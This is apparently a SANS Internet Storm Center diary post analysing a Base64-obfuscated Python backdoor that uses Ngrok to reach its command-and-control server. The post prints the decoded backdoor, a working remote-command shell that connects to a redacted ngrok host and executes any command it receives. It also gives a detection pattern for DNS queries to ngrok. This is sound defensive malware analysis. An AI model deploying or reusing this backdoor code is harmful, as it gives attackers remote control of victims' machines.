Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Python Backdoor Talking to a C2 Through Ngrok SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network
https://isc.sans.edu/honeypot.html

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Python Backdoor Talking to a C2 Through Ngrok

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 1.tcp.ngrok.io:65080 80

This command will expose your local web server through hxxp://1.tcp.ngrok.io:65080/

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket
import os
import base64
exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys
nameoffile = sys.argv[0]
a = socket.socket()
while True:
    try:
        a.connect(("<redacted>.tcp.ngrok.io", <redacted>))
        break
    except:
        pass
while True:
    try:
        recvd = a.recv(1024)
        if recvd.decode() == "m:os":
            a.send(str(sys.platform).encode())
        if recvd.decode() == "m:hide":
            ree = shutil.move(nameoffile,'C:\\')
            a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8'))
        else:
            output = os.popen(recvd.decode()).read()
            a.send(output.encode())
    except:
        pass

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to ".tcp.ngrok.io". Here are the results:

Job ID: <redacted>
Start time: 2020-12-09 13:24:35.476494 UTC
Finish time: 2020-12-09 19:22:41.084292 UTC
Scanned data size: 730.5 TB
Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to ngrok.io. To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).

[1] https://ngrok.com/product
[2] https://www.virustotal.com/gui/file/eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Paris March 2021

Xme

580 Posts
ISC Handler
Dec 10th 2020

Sign Up for Free or Log In to start participating in the conversation!